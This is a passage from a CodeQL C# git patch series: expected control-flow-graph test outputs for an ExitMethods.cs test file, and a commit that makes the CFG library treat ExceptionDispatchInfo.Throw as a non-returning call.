| try {...} ... | semmle.label | successor | +| ExitMethods.cs:40:9:51:9 | try {...} ... | ExitMethods.cs:41:9:43:9 | {...} | semmle.label | successor | +| ExitMethods.cs:41:9:43:9 | {...} | ExitMethods.cs:42:13:42:31 | ...; | semmle.label | successor | +| ExitMethods.cs:42:13:42:30 | call to method ErrorAlways | ExitMethods.cs:44:9:47:9 | [exception: ArgumentException] catch (...) {...} | semmle.label | exception(ArgumentException) | +| ExitMethods.cs:42:13:42:30 | call to method ErrorAlways | ExitMethods.cs:44:9:47:9 | [exception: Exception] catch (...) {...} | semmle.label | exception(Exception) | +| ExitMethods.cs:42:13:42:31 | ...; | ExitMethods.cs:42:25:42:29 | false | semmle.label | successor | +| ExitMethods.cs:42:25:42:29 | false | ExitMethods.cs:42:13:42:30 | call to method ErrorAlways | semmle.label | successor | +| ExitMethods.cs:44:9:47:9 | [exception: ArgumentException] catch (...) {...} | ExitMethods.cs:45:9:47:9 | {...} | semmle.label | match | +| ExitMethods.cs:44:9:47:9 | [exception: Exception] catch (...) {...} | ExitMethods.cs:45:9:47:9 | {...} | semmle.label | match | +| ExitMethods.cs:44:9:47:9 | [exception: Exception] catch (...) {...} | ExitMethods.cs:48:9:51:9 | [exception: Exception] catch (...) {...} | semmle.label | no-match | +| ExitMethods.cs:45:9:47:9 | {...} | ExitMethods.cs:46:13:46:19 | return ...; | semmle.label | successor | +| ExitMethods.cs:46:13:46:19 | return ...; | ExitMethods.cs:38:10:38:11 | exit M6 (normal) | semmle.label | return | +| ExitMethods.cs:48:9:51:9 | [exception: Exception] catch (...) {...} | ExitMethods.cs:49:9:51:9 | {...} | semmle.label | match | +| ExitMethods.cs:49:9:51:9 | {...} | ExitMethods.cs:50:13:50:19 | return ...; | semmle.label | successor | +| ExitMethods.cs:50:13:50:19 | return ...; | ExitMethods.cs:38:10:38:11 | exit M6 (normal) | semmle.label | return | +| ExitMethods.cs:54:10:54:11 | enter M7 | ExitMethods.cs:55:5:58:5 | {...} | semmle.label | successor | +| ExitMethods.cs:54:10:54:11 | exit M7 (abnormal) | ExitMethods.cs:54:10:54:11 | exit M7 | semmle.label | successor | +| ExitMethods.cs:55:5:58:5 | {...} | ExitMethods.cs:56:9:56:23 | ...; | semmle.label | successor | +| ExitMethods.cs:56:9:56:22 | call to method ErrorAlways2 | ExitMethods.cs:54:10:54:11 | exit M7 (abnormal) | semmle.label | exception(Exception) | +| ExitMethods.cs:56:9:56:23 | ...; | ExitMethods.cs:56:9:56:22 | call to method ErrorAlways2 | semmle.label | successor | +| ExitMethods.cs:60:10:60:11 | enter M8 | ExitMethods.cs:61:5:64:5 | {...} | semmle.label | successor | +| ExitMethods.cs:60:10:60:11 | exit M8 (abnormal) | ExitMethods.cs:60:10:60:11 | exit M8 | semmle.label | successor | +| ExitMethods.cs:61:5:64:5 | {...} | ExitMethods.cs:62:9:62:23 | ...; | semmle.label | successor | +| ExitMethods.cs:62:9:62:22 | call to method ErrorAlways3 | ExitMethods.cs:60:10:60:11 | exit M8 (abnormal) | semmle.label | exception(Exception) | +| ExitMethods.cs:62:9:62:23 | ...; | ExitMethods.cs:62:9:62:22 | call to method ErrorAlways3 | semmle.label | successor | +| ExitMethods.cs:66:17:66:26 | enter ErrorMaybe | ExitMethods.cs:67:5:70:5 | {...} | semmle.label | successor | +| ExitMethods.cs:66:17:66:26 | exit ErrorMaybe (abnormal) | ExitMethods.cs:66:17:66:26 | exit ErrorMaybe | semmle.label | successor | +| ExitMethods.cs:66:17:66:26 | exit ErrorMaybe (normal) | ExitMethods.cs:66:17:66:26 | exit ErrorMaybe | semmle.label | successor | +| ExitMethods.cs:67:5:70:5 | {...} | ExitMethods.cs:68:9:69:34 | if (...) ... | semmle.label | successor | +| ExitMethods.cs:68:9:69:34 | if (...) ... | ExitMethods.cs:68:13:68:13 | access to parameter b | semmle.label | successor | +| ExitMethods.cs:68:13:68:13 | access to parameter b | ExitMethods.cs:66:17:66:26 | exit ErrorMaybe (normal) | semmle.label | false | +| ExitMethods.cs:68:13:68:13 | access to parameter b | ExitMethods.cs:69:19:69:33 | object creation of type Exception | semmle.label | true | +| ExitMethods.cs:69:13:69:34 | throw ...; | ExitMethods.cs:66:17:66:26 | exit ErrorMaybe (abnormal) | semmle.label | exception(Exception) | +| ExitMethods.cs:69:19:69:33 | object creation of type Exception | ExitMethods.cs:69:13:69:34 | throw ...; | semmle.label | successor | +| ExitMethods.cs:72:17:72:27 | enter ErrorAlways | ExitMethods.cs:73:5:78:5 | {...} | semmle.label | successor | +| ExitMethods.cs:72:17:72:27 | exit ErrorAlways (abnormal) | ExitMethods.cs:72:17:72:27 | exit ErrorAlways | semmle.label | successor | +| ExitMethods.cs:73:5:78:5 | {...} | ExitMethods.cs:74:9:77:45 | if (...) ... | semmle.label | successor | +| ExitMethods.cs:74:9:77:45 | if (...) ... | ExitMethods.cs:74:13:74:13 | access to parameter b | semmle.label | successor | +| ExitMethods.cs:74:13:74:13 | access to parameter b | ExitMethods.cs:75:19:75:33 | object creation of type Exception | semmle.label | true | +| ExitMethods.cs:74:13:74:13 | access to parameter b | ExitMethods.cs:77:41:77:43 | "b" | semmle.label | false | +| ExitMethods.cs:75:13:75:34 | throw ...; | ExitMethods.cs:72:17:72:27 | exit ErrorAlways (abnormal) | semmle.label | exception(Exception) | +| ExitMethods.cs:75:19:75:33 | object creation of type Exception | ExitMethods.cs:75:13:75:34 | throw ...; | semmle.label | successor | +| ExitMethods.cs:77:13:77:45 | throw ...; | ExitMethods.cs:72:17:72:27 | exit ErrorAlways (abnormal) | semmle.label | exception(ArgumentException) | +| ExitMethods.cs:77:19:77:44 | object creation of type ArgumentException | ExitMethods.cs:77:13:77:45 | throw ...; | semmle.label | successor | +| ExitMethods.cs:77:41:77:43 | "b" | ExitMethods.cs:77:19:77:44 | object creation of type ArgumentException | semmle.label | successor | +| ExitMethods.cs:80:17:80:28 | enter ErrorAlways2 | ExitMethods.cs:81:5:83:5 | {...} | semmle.label | successor | +| ExitMethods.cs:80:17:80:28 | exit ErrorAlways2 (abnormal) | ExitMethods.cs:80:17:80:28 | exit ErrorAlways2 | semmle.label | successor | +| ExitMethods.cs:81:5:83:5 | {...} | ExitMethods.cs:82:15:82:29 | object creation of type Exception | semmle.label | successor | +| ExitMethods.cs:82:9:82:30 | throw ...; | ExitMethods.cs:80:17:80:28 | exit ErrorAlways2 (abnormal) | semmle.label | exception(Exception) | +| ExitMethods.cs:82:15:82:29 | object creation of type Exception | ExitMethods.cs:82:9:82:30 | throw ...; | semmle.label | successor | +| ExitMethods.cs:85:17:85:28 | enter ErrorAlways3 | ExitMethods.cs:85:41:85:55 | object creation of type Exception | semmle.label | successor | +| ExitMethods.cs:85:17:85:28 | exit ErrorAlways3 (abnormal) | ExitMethods.cs:85:17:85:28 | exit ErrorAlways3 | semmle.label | successor | +| ExitMethods.cs:85:35:85:55 | throw ... | ExitMethods.cs:85:17:85:28 | exit ErrorAlways3 (abnormal) | semmle.label | exception(Exception) | +| ExitMethods.cs:85:41:85:55 | object creation of type Exception | ExitMethods.cs:85:35:85:55 | throw ... | semmle.label | successor | +| ExitMethods.cs:87:10:87:13 | enter Exit | ExitMethods.cs:88:5:90:5 | {...} | semmle.label | successor | +| ExitMethods.cs:87:10:87:13 | exit Exit (abnormal) | ExitMethods.cs:87:10:87:13 | exit Exit | semmle.label | successor | +| ExitMethods.cs:88:5:90:5 | {...} | ExitMethods.cs:89:9:89:28 | ...; | semmle.label | successor | +| ExitMethods.cs:89:9:89:27 | call to method Exit | ExitMethods.cs:87:10:87:13 | exit Exit (abnormal) | semmle.label | exit | +| ExitMethods.cs:89:9:89:28 | ...; | ExitMethods.cs:89:26:89:26 | 0 | semmle.label | successor | +| ExitMethods.cs:89:26:89:26 | 0 | ExitMethods.cs:89:9:89:27 | call to method Exit | semmle.label | successor | +| ExitMethods.cs:92:10:92:18 | enter ExitInTry | ExitMethods.cs:93:5:103:5 | {...} | semmle.label | successor | +| ExitMethods.cs:92:10:92:18 | exit ExitInTry (abnormal) | ExitMethods.cs:92:10:92:18 | exit ExitInTry | semmle.label | successor | +| ExitMethods.cs:93:5:103:5 | {...} | ExitMethods.cs:94:9:102:9 | try {...} ... | semmle.label | successor | +| ExitMethods.cs:94:9:102:9 | try {...} ... | ExitMethods.cs:95:9:97:9 | {...} | semmle.label | successor | +| ExitMethods.cs:95:9:97:9 | {...} | ExitMethods.cs:96:13:96:19 | ...; | semmle.label | successor | +| ExitMethods.cs:96:13:96:18 | call to method Exit | ExitMethods.cs:92:10:92:18 | exit ExitInTry (abnormal) | semmle.label | exit | +| ExitMethods.cs:96:13:96:18 | this access | ExitMethods.cs:96:13:96:18 | call to method Exit | semmle.label | successor | +| ExitMethods.cs:96:13:96:19 | ...; | ExitMethods.cs:96:13:96:18 | this access | semmle.label | successor | +| ExitMethods.cs:105:10:105:24 | enter ApplicationExit | ExitMethods.cs:106:5:108:5 | {...} | semmle.label | successor | +| ExitMethods.cs:105:10:105:24 | exit ApplicationExit (abnormal) | ExitMethods.cs:105:10:105:24 | exit ApplicationExit | semmle.label | successor | +| ExitMethods.cs:106:5:108:5 | {...} | ExitMethods.cs:107:9:107:48 | ...; | semmle.label | successor | +| ExitMethods.cs:107:9:107:47 | call to method Exit | ExitMethods.cs:105:10:105:24 | exit ApplicationExit (abnormal) | semmle.label | exit | +| ExitMethods.cs:107:9:107:48 | ...; | ExitMethods.cs:107:9:107:47 | call to method Exit | semmle.label | successor | +| ExitMethods.cs:110:13:110:21 | enter ThrowExpr | ExitMethods.cs:111:5:113:5 | {...} | semmle.label | successor | +| ExitMethods.cs:110:13:110:21 | exit ThrowExpr (abnormal) | ExitMethods.cs:110:13:110:21 | exit ThrowExpr | semmle.label | successor | +| ExitMethods.cs:110:13:110:21 | exit ThrowExpr (normal) | ExitMethods.cs:110:13:110:21 | exit ThrowExpr | semmle.label | successor | +| ExitMethods.cs:111:5:113:5 | {...} | ExitMethods.cs:112:16:112:20 | access to parameter input | semmle.label | successor | +| ExitMethods.cs:112:9:112:77 | return ...; | ExitMethods.cs:110:13:110:21 | exit ThrowExpr (normal) | semmle.label | return | +| ExitMethods.cs:112:16:112:20 | access to parameter input | ExitMethods.cs:112:25:112:25 | 0 | semmle.label | successor | +| ExitMethods.cs:112:16:112:25 | ... != ... | ExitMethods.cs:112:29:112:29 | 1 | semmle.label | true | +| ExitMethods.cs:112:16:112:25 | ... != ... | ExitMethods.cs:112:69:112:75 | "input" | semmle.label | false | +| ExitMethods.cs:112:16:112:76 | ... ? ... : ... | ExitMethods.cs:112:9:112:77 | return ...; | semmle.label | successor | +| ExitMethods.cs:112:25:112:25 | 0 | ExitMethods.cs:112:25:112:25 | (...) ... | semmle.label | successor | +| ExitMethods.cs:112:25:112:25 | (...) ... | ExitMethods.cs:112:16:112:25 | ... != ... | semmle.label | successor | +| ExitMethods.cs:112:29:112:29 | 1 | ExitMethods.cs:112:29:112:29 | (...) ... | semmle.label | successor | +| ExitMethods.cs:112:29:112:29 | (...) ... | ExitMethods.cs:112:33:112:37 | access to parameter input | semmle.label | successor | +| ExitMethods.cs:112:29:112:37 | ... / ... | ExitMethods.cs:112:16:112:76 | ... ? ... : ... | semmle.label | successor | +| ExitMethods.cs:112:33:112:37 | access to parameter input | ExitMethods.cs:112:29:112:37 | ... / ... | semmle.label | successor | +| ExitMethods.cs:112:41:112:76 | throw ... | ExitMethods.cs:110:13:110:21 | exit ThrowExpr (abnormal) | semmle.label | exception(ArgumentException) | +| ExitMethods.cs:112:47:112:76 | object creation of type ArgumentException | ExitMethods.cs:112:41:112:76 | throw ... | semmle.label | successor | +| ExitMethods.cs:112:69:112:75 | "input" | ExitMethods.cs:112:47:112:76 | object creation of type ArgumentException | semmle.label | successor | +| ExitMethods.cs:115:16:115:34 | enter ExtensionMethodCall | ExitMethods.cs:116:5:118:5 | {...} | semmle.label | successor | +| ExitMethods.cs:115:16:115:34 | exit ExtensionMethodCall (normal) | ExitMethods.cs:115:16:115:34 | exit ExtensionMethodCall | semmle.label | successor | +| ExitMethods.cs:116:5:118:5 | {...} | ExitMethods.cs:117:16:117:16 | access to parameter s | semmle.label | successor | +| ExitMethods.cs:117:9:117:39 | return ...; | ExitMethods.cs:115:16:115:34 | exit ExtensionMethodCall (normal) | semmle.label | return | +| ExitMethods.cs:117:16:117:16 | access to parameter s | ExitMethods.cs:117:27:117:29 | - | semmle.label | successor | +| ExitMethods.cs:117:16:117:30 | call to method Contains | ExitMethods.cs:117:34:117:34 | 0 | semmle.label | true | +| ExitMethods.cs:117:16:117:30 | call to method Contains | ExitMethods.cs:117:38:117:38 | 1 | semmle.label | false | +| ExitMethods.cs:117:16:117:38 | ... ? ... : ... | ExitMethods.cs:117:9:117:39 | return ...; | semmle.label | successor | +| ExitMethods.cs:117:27:117:29 | - | ExitMethods.cs:117:16:117:30 | call to method Contains | semmle.label | successor | +| ExitMethods.cs:117:34:117:34 | 0 | ExitMethods.cs:117:16:117:38 | ... ? ... : ... | semmle.label | successor | +| ExitMethods.cs:117:38:117:38 | 1 | ExitMethods.cs:117:16:117:38 | ... ? ... : ... | semmle.label | successor | +| ExitMethods.cs:120:17:120:32 | enter FailingAssertion | ExitMethods.cs:121:5:124:5 | {...} | semmle.label | successor | +| ExitMethods.cs:120:17:120:32 | exit FailingAssertion (abnormal) | ExitMethods.cs:120:17:120:32 | exit FailingAssertion | semmle.label | successor | +| ExitMethods.cs:121:5:124:5 | {...} | ExitMethods.cs:122:9:122:29 | ...; | semmle.label | successor | +| ExitMethods.cs:122:9:122:28 | [assertion failure] call to method IsTrue | ExitMethods.cs:120:17:120:32 | exit FailingAssertion (abnormal) | semmle.label | exception(AssertFailedException) | +| ExitMethods.cs:122:9:122:29 | ...; | ExitMethods.cs:122:23:122:27 | false | semmle.label | successor | +| ExitMethods.cs:122:23:122:27 | false | ExitMethods.cs:122:9:122:28 | [assertion failure] call to method IsTrue | semmle.label | false | +| ExitMethods.cs:126:17:126:33 | enter FailingAssertion2 | ExitMethods.cs:127:5:130:5 | {...} | semmle.label | successor | +| ExitMethods.cs:126:17:126:33 | exit FailingAssertion2 (abnormal) | ExitMethods.cs:126:17:126:33 | exit FailingAssertion2 | semmle.label | successor | +| ExitMethods.cs:127:5:130:5 | {...} | ExitMethods.cs:128:9:128:27 | ...; | semmle.label | successor | +| ExitMethods.cs:128:9:128:26 | call to method FailingAssertion | ExitMethods.cs:126:17:126:33 | exit FailingAssertion2 (abnormal) | semmle.label | exception(AssertFailedException) | +| ExitMethods.cs:128:9:128:26 | this access | ExitMethods.cs:128:9:128:26 | call to method FailingAssertion | semmle.label | successor | +| ExitMethods.cs:128:9:128:27 | ...; | ExitMethods.cs:128:9:128:26 | this access | semmle.label | successor | +| ExitMethods.cs:132:10:132:20 | enter AssertFalse | ExitMethods.cs:132:48:132:48 | access to parameter b | semmle.label | successor | +| ExitMethods.cs:132:10:132:20 | exit AssertFalse (abnormal) | ExitMethods.cs:132:10:132:20 | exit AssertFalse | semmle.label | successor | +| ExitMethods.cs:132:10:132:20 | exit AssertFalse (normal) | ExitMethods.cs:132:10:132:20 | exit AssertFalse | semmle.label | successor | +| ExitMethods.cs:132:33:132:49 | [assertion failure] call to method IsFalse | ExitMethods.cs:132:10:132:20 | exit AssertFalse (abnormal) | semmle.label | exception(AssertFailedException) | +| ExitMethods.cs:132:33:132:49 | [assertion success] call to method IsFalse | ExitMethods.cs:132:10:132:20 | exit AssertFalse (normal) | semmle.label | successor | +| ExitMethods.cs:132:48:132:48 | access to parameter b | ExitMethods.cs:132:33:132:49 | [assertion failure] call to method IsFalse | semmle.label | true | +| ExitMethods.cs:132:48:132:48 | access to parameter b | ExitMethods.cs:132:33:132:49 | [assertion success] call to method IsFalse | semmle.label | false | +| ExitMethods.cs:134:17:134:33 | enter FailingAssertion3 | ExitMethods.cs:135:5:138:5 | {...} | semmle.label | successor | +| ExitMethods.cs:134:17:134:33 | exit FailingAssertion3 (abnormal) | ExitMethods.cs:134:17:134:33 | exit FailingAssertion3 | semmle.label | successor | +| ExitMethods.cs:135:5:138:5 | {...} | ExitMethods.cs:136:9:136:26 | ...; | semmle.label | successor | +| ExitMethods.cs:136:9:136:25 | [assertion failure] call to method AssertFalse | ExitMethods.cs:134:17:134:33 | exit FailingAssertion3 (abnormal) | semmle.label | exception(AssertFailedException) | +| ExitMethods.cs:136:9:136:25 | this access | ExitMethods.cs:136:21:136:24 | true | semmle.label | successor | +| ExitMethods.cs:136:9:136:26 | ...; | ExitMethods.cs:136:9:136:25 | this access | semmle.label | successor | +| ExitMethods.cs:136:21:136:24 | true | ExitMethods.cs:136:9:136:25 | [assertion failure] call to method AssertFalse | semmle.label | true | +| ExitMethods.cs:140:17:140:42 | enter ExceptionDispatchInfoThrow | ExitMethods.cs:141:5:147:5 | {...} | semmle.label | successor | +| ExitMethods.cs:140:17:140:42 | exit ExceptionDispatchInfoThrow (normal) | ExitMethods.cs:140:17:140:42 | exit ExceptionDispatchInfoThrow | semmle.label | successor | +| ExitMethods.cs:141:5:147:5 | {...} | ExitMethods.cs:142:9:145:53 | if (...) ... | semmle.label | successor | +| ExitMethods.cs:142:9:145:53 | if (...) ... | ExitMethods.cs:142:13:142:13 | access to parameter b | semmle.label | successor | +| ExitMethods.cs:142:13:142:13 | access to parameter b | ExitMethods.cs:143:13:143:43 | ...; | semmle.label | true | +| ExitMethods.cs:142:13:142:13 | access to parameter b | ExitMethods.cs:145:13:145:53 | ...; | semmle.label | false | +| ExitMethods.cs:143:13:143:42 | call to method Throw | ExitMethods.cs:146:9:146:34 | ...; | semmle.label | successor | +| ExitMethods.cs:143:13:143:43 | ...; | ExitMethods.cs:143:41:143:41 | access to parameter e | semmle.label | successor | +| ExitMethods.cs:143:41:143:41 | access to parameter e | ExitMethods.cs:143:13:143:42 | call to method Throw | semmle.label | successor | +| ExitMethods.cs:145:13:145:44 | call to method Capture | ExitMethods.cs:145:13:145:52 | call to method Throw | semmle.label | successor | +| ExitMethods.cs:145:13:145:52 | call to method Throw | ExitMethods.cs:146:9:146:34 | ...; | semmle.label | successor | +| ExitMethods.cs:145:13:145:53 | ...; | ExitMethods.cs:145:43:145:43 | access to parameter e | semmle.label | successor | +| ExitMethods.cs:145:43:145:43 | access to parameter e | ExitMethods.cs:145:13:145:44 | call to method Capture | semmle.label | successor | +| ExitMethods.cs:146:9:146:33 | call to method WriteLine | ExitMethods.cs:140:17:140:42 | exit ExceptionDispatchInfoThrow (normal) | semmle.label | successor | +| ExitMethods.cs:146:9:146:34 | ...; | ExitMethods.cs:146:27:146:32 | "dead" | semmle.label | successor | +| ExitMethods.cs:146:27:146:32 | "dead" | ExitMethods.cs:146:9:146:33 | call to method WriteLine | semmle.label | successor | | Extensions.cs:5:23:5:29 | enter ToInt32 | Extensions.cs:6:5:8:5 | {...} | semmle.label | successor | | Extensions.cs:5:23:5:29 | exit ToInt32 (normal) | Extensions.cs:5:23:5:29 | exit ToInt32 | semmle.label | successor | | Extensions.cs:6:5:8:5 | {...} | Extensions.cs:7:28:7:28 | access to parameter s | semmle.label | successor | diff --git a/csharp/ql/test/library-tests/controlflow/graph/Nodes.expected b/csharp/ql/test/library-tests/controlflow/graph/Nodes.expected index fd138aea838..eb42287f5ed 100644 --- a/csharp/ql/test/library-tests/controlflow/graph/Nodes.expected +++ b/csharp/ql/test/library-tests/controlflow/graph/Nodes.expected @@ -1092,27 +1092,28 @@ entryPoint | Conditions.cs:113:10:113:11 | M9 | Conditions.cs:114:5:124:5 | {...} | | Conditions.cs:129:10:129:12 | M10 | Conditions.cs:130:5:141:5 | {...} | | Conditions.cs:143:10:143:12 | M11 | Conditions.cs:144:5:150:5 | {...} | -| ExitMethods.cs:7:10:7:11 | M1 | ExitMethods.cs:8:5:11:5 | {...} | -| ExitMethods.cs:13:10:13:11 | M2 | ExitMethods.cs:14:5:17:5 | {...} | -| ExitMethods.cs:19:10:19:11 | M3 | ExitMethods.cs:20:5:23:5 | {...} | -| ExitMethods.cs:25:10:25:11 | M4 | ExitMethods.cs:26:5:29:5 | {...} | -| ExitMethods.cs:31:10:31:11 | M5 | ExitMethods.cs:32:5:35:5 | {...} | -| ExitMethods.cs:37:10:37:11 | M6 | ExitMethods.cs:38:5:51:5 | {...} | -| ExitMethods.cs:53:10:53:11 | M7 | ExitMethods.cs:54:5:57:5 | {...} | -| ExitMethods.cs:59:10:59:11 | M8 | ExitMethods.cs:60:5:63:5 | {...} | -| ExitMethods.cs:65:17:65:26 | ErrorMaybe | ExitMethods.cs:66:5:69:5 | {...} | -| ExitMethods.cs:71:17:71:27 | ErrorAlways | ExitMethods.cs:72:5:77:5 | {...} | -| ExitMethods.cs:79:17:79:28 | ErrorAlways2 | ExitMethods.cs:80:5:82:5 | {...} | -| ExitMethods.cs:84:17:84:28 | ErrorAlways3 | ExitMethods.cs:84:41:84:55 | object creation of type Exception | -| ExitMethods.cs:86:10:86:13 | Exit | ExitMethods.cs:87:5:89:5 | {...} | -| ExitMethods.cs:91:10:91:18 | ExitInTry | ExitMethods.cs:92:5:102:5 | {...} | -| ExitMethods.cs:104:10:104:24 | ApplicationExit | ExitMethods.cs:105:5:107:5 | {...} | -| ExitMethods.cs:109:13:109:21 | ThrowExpr | ExitMethods.cs:110:5:112:5 | {...} | -| ExitMethods.cs:114:16:114:34 | ExtensionMethodCall | ExitMethods.cs:115:5:117:5 | {...} | -| ExitMethods.cs:119:17:119:32 | FailingAssertion | ExitMethods.cs:120:5:123:5 | {...} | -| ExitMethods.cs:125:17:125:33 | FailingAssertion2 | ExitMethods.cs:126:5:129:5 | {...} | -| ExitMethods.cs:131:10:131:20 | AssertFalse | ExitMethods.cs:131:48:131:48 | access to parameter b | -| ExitMethods.cs:133:17:133:33 | FailingAssertion3 | ExitMethods.cs:134:5:137:5 | {...} | +| ExitMethods.cs:8:10:8:11 | M1 | ExitMethods.cs:9:5:12:5 | {...} | +| ExitMethods.cs:14:10:14:11 | M2 | ExitMethods.cs:15:5:18:5 | {...} | +| ExitMethods.cs:20:10:20:11 | M3 | ExitMethods.cs:21:5:24:5 | {...} | +| ExitMethods.cs:26:10:26:11 | M4 | ExitMethods.cs:27:5:30:5 | {...} | +| ExitMethods.cs:32:10:32:11 | M5 | ExitMethods.cs:33:5:36:5 | {...} | +| ExitMethods.cs:38:10:38:11 | M6 | ExitMethods.cs:39:5:52:5 | {...} | +| ExitMethods.cs:54:10:54:11 | M7 | ExitMethods.cs:55:5:58:5 | {...} | +| ExitMethods.cs:60:10:60:11 | M8 | ExitMethods.cs:61:5:64:5 | {...} | +| ExitMethods.cs:66:17:66:26 | ErrorMaybe | ExitMethods.cs:67:5:70:5 | {...} | +| ExitMethods.cs:72:17:72:27 | ErrorAlways | ExitMethods.cs:73:5:78:5 | {...} | +| ExitMethods.cs:80:17:80:28 | ErrorAlways2 | ExitMethods.cs:81:5:83:5 | {...} | +| ExitMethods.cs:85:17:85:28 | ErrorAlways3 | ExitMethods.cs:85:41:85:55 | object creation of type Exception | +| ExitMethods.cs:87:10:87:13 | Exit | ExitMethods.cs:88:5:90:5 | {...} | +| ExitMethods.cs:92:10:92:18 | ExitInTry | ExitMethods.cs:93:5:103:5 | {...} | +| ExitMethods.cs:105:10:105:24 | ApplicationExit | ExitMethods.cs:106:5:108:5 | {...} | +| ExitMethods.cs:110:13:110:21 | ThrowExpr | ExitMethods.cs:111:5:113:5 | {...} | +| ExitMethods.cs:115:16:115:34 | ExtensionMethodCall | ExitMethods.cs:116:5:118:5 | {...} | +| ExitMethods.cs:120:17:120:32 | FailingAssertion | ExitMethods.cs:121:5:124:5 | {...} | +| ExitMethods.cs:126:17:126:33 | FailingAssertion2 | ExitMethods.cs:127:5:130:5 | {...} | +| ExitMethods.cs:132:10:132:20 | AssertFalse | ExitMethods.cs:132:48:132:48 | access to parameter b | +| ExitMethods.cs:134:17:134:33 | FailingAssertion3 | ExitMethods.cs:135:5:138:5 | {...} | +| ExitMethods.cs:140:17:140:42 | ExceptionDispatchInfoThrow | ExitMethods.cs:141:5:147:5 | {...} | | Extensions.cs:5:23:5:29 | ToInt32 | Extensions.cs:6:5:8:5 | {...} | | Extensions.cs:10:24:10:29 | ToBool | Extensions.cs:11:5:13:5 | {...} | | Extensions.cs:15:23:15:33 | CallToInt32 | Extensions.cs:15:48:15:50 | "0" | From cd8155c20154255494b7a74985bdfcb71ad07fce Mon Sep 17 00:00:00 2001 From: Tom Hvitved <hvitved@github.com> Date: Tue, 26 Jan 2021 08:59:03 +0100 Subject: [PATCH 0815/1241] C#: Teach CFG about `ExceptionDispatchInfo::Throw` --- .../controlflow/internal/NonReturning.qll | 12 +++++++++++ .../controlflow/graph/BasicBlock.expected | 2 +- .../controlflow/graph/Dominance.expected | 21 +++++-------------- .../graph/EnclosingCallable.expected | 7 ++----- .../controlflow/graph/ExitElement.expected | 14 +++++++------ .../controlflow/graph/NodeGraph.expected | 9 +++----- 6 files changed, 31 insertions(+), 34 deletions(-) diff --git a/csharp/ql/src/semmle/code/csharp/controlflow/internal/NonReturning.qll b/csharp/ql/src/semmle/code/csharp/controlflow/internal/NonReturning.qll index a3f80938ad8..6d075d031f5 100644 --- a/csharp/ql/src/semmle/code/csharp/controlflow/internal/NonReturning.qll +++ b/csharp/ql/src/semmle/code/csharp/controlflow/internal/NonReturning.qll @@ -45,6 +45,18 @@ private class ThrowingCall extends NonReturningCall { c.getExceptionClass().matchesHandle(ex) and not m.isVirtual() ) + or + this = + any(MethodCall mc | + mc.getTarget() + .hasQualifiedName("System.Runtime.ExceptionServices.ExceptionDispatchInfo", "Throw") and + ( + mc.hasNoArguments() and + c.getExceptionClass() instanceof SystemExceptionClass + or + c.getExceptionClass() = mc.getArgument(0).getType() + ) + ) ) } diff --git a/csharp/ql/test/library-tests/controlflow/graph/BasicBlock.expected b/csharp/ql/test/library-tests/controlflow/graph/BasicBlock.expected index 00316b3c41d..3db57be80ab 100644 --- a/csharp/ql/test/library-tests/controlflow/graph/BasicBlock.expected +++ b/csharp/ql/test/library-tests/controlflow/graph/BasicBlock.expected @@ -415,9 +415,9 @@ | ExitMethods.cs:134:17:134:33 | enter FailingAssertion3 | ExitMethods.cs:136:21:136:24 | true | 5 | | ExitMethods.cs:136:9:136:25 | [assertion failure] call to method AssertFalse | ExitMethods.cs:134:17:134:33 | exit FailingAssertion3 | 3 | | ExitMethods.cs:140:17:140:42 | enter ExceptionDispatchInfoThrow | ExitMethods.cs:142:13:142:13 | access to parameter b | 4 | +| ExitMethods.cs:140:17:140:42 | exit ExceptionDispatchInfoThrow (abnormal) | ExitMethods.cs:140:17:140:42 | exit ExceptionDispatchInfoThrow | 2 | | ExitMethods.cs:143:13:143:43 | ...; | ExitMethods.cs:143:13:143:42 | call to method Throw | 3 | | ExitMethods.cs:145:13:145:53 | ...; | ExitMethods.cs:145:13:145:52 | call to method Throw | 4 | -| ExitMethods.cs:146:9:146:34 | ...; | ExitMethods.cs:140:17:140:42 | exit ExceptionDispatchInfoThrow | 5 | | Extensions.cs:5:23:5:29 | enter ToInt32 | Extensions.cs:5:23:5:29 | exit ToInt32 | 7 | | Extensions.cs:10:24:10:29 | enter ToBool | Extensions.cs:10:24:10:29 | exit ToBool | 8 | | Extensions.cs:15:23:15:33 | enter CallToInt32 | Extensions.cs:15:23:15:33 | exit CallToInt32 | 5 | diff --git a/csharp/ql/test/library-tests/controlflow/graph/Dominance.expected b/csharp/ql/test/library-tests/controlflow/graph/Dominance.expected index c7c78455c64..acb32204be7 100644 --- a/csharp/ql/test/library-tests/controlflow/graph/Dominance.expected +++ b/csharp/ql/test/library-tests/controlflow/graph/Dominance.expected @@ -1645,7 +1645,7 @@ dominance | ExitMethods.cs:136:9:136:26 | ...; | ExitMethods.cs:136:9:136:25 | this access | | ExitMethods.cs:136:21:136:24 | true | ExitMethods.cs:136:9:136:25 | [assertion failure] call to method AssertFalse | | ExitMethods.cs:140:17:140:42 | enter ExceptionDispatchInfoThrow | ExitMethods.cs:141:5:147:5 | {...} | -| ExitMethods.cs:140:17:140:42 | exit ExceptionDispatchInfoThrow (normal) | ExitMethods.cs:140:17:140:42 | exit ExceptionDispatchInfoThrow | +| ExitMethods.cs:140:17:140:42 | exit ExceptionDispatchInfoThrow (abnormal) | ExitMethods.cs:140:17:140:42 | exit ExceptionDispatchInfoThrow | | ExitMethods.cs:141:5:147:5 | {...} | ExitMethods.cs:142:9:145:53 | if (...) ... | | ExitMethods.cs:142:9:145:53 | if (...) ... | ExitMethods.cs:142:13:142:13 | access to parameter b | | ExitMethods.cs:142:13:142:13 | access to parameter b | ExitMethods.cs:143:13:143:43 | ...; | @@ -1655,9 +1655,6 @@ dominance | ExitMethods.cs:145:13:145:44 | call to method Capture | ExitMethods.cs:145:13:145:52 | call to method Throw | | ExitMethods.cs:145:13:145:53 | ...; | ExitMethods.cs:145:43:145:43 | access to parameter e | | ExitMethods.cs:145:43:145:43 | access to parameter e | ExitMethods.cs:145:13:145:44 | call to method Capture | -| ExitMethods.cs:146:9:146:33 | call to method WriteLine | ExitMethods.cs:140:17:140:42 | exit ExceptionDispatchInfoThrow (normal) | -| ExitMethods.cs:146:9:146:34 | ...; | ExitMethods.cs:146:27:146:32 | "dead" | -| ExitMethods.cs:146:27:146:32 | "dead" | ExitMethods.cs:146:9:146:33 | call to method WriteLine | | Extensions.cs:5:23:5:29 | enter ToInt32 | Extensions.cs:6:5:8:5 | {...} | | Extensions.cs:5:23:5:29 | exit ToInt32 (normal) | Extensions.cs:5:23:5:29 | exit ToInt32 | | Extensions.cs:6:5:8:5 | {...} | Extensions.cs:7:28:7:28 | access to parameter s | @@ -5737,8 +5734,7 @@ 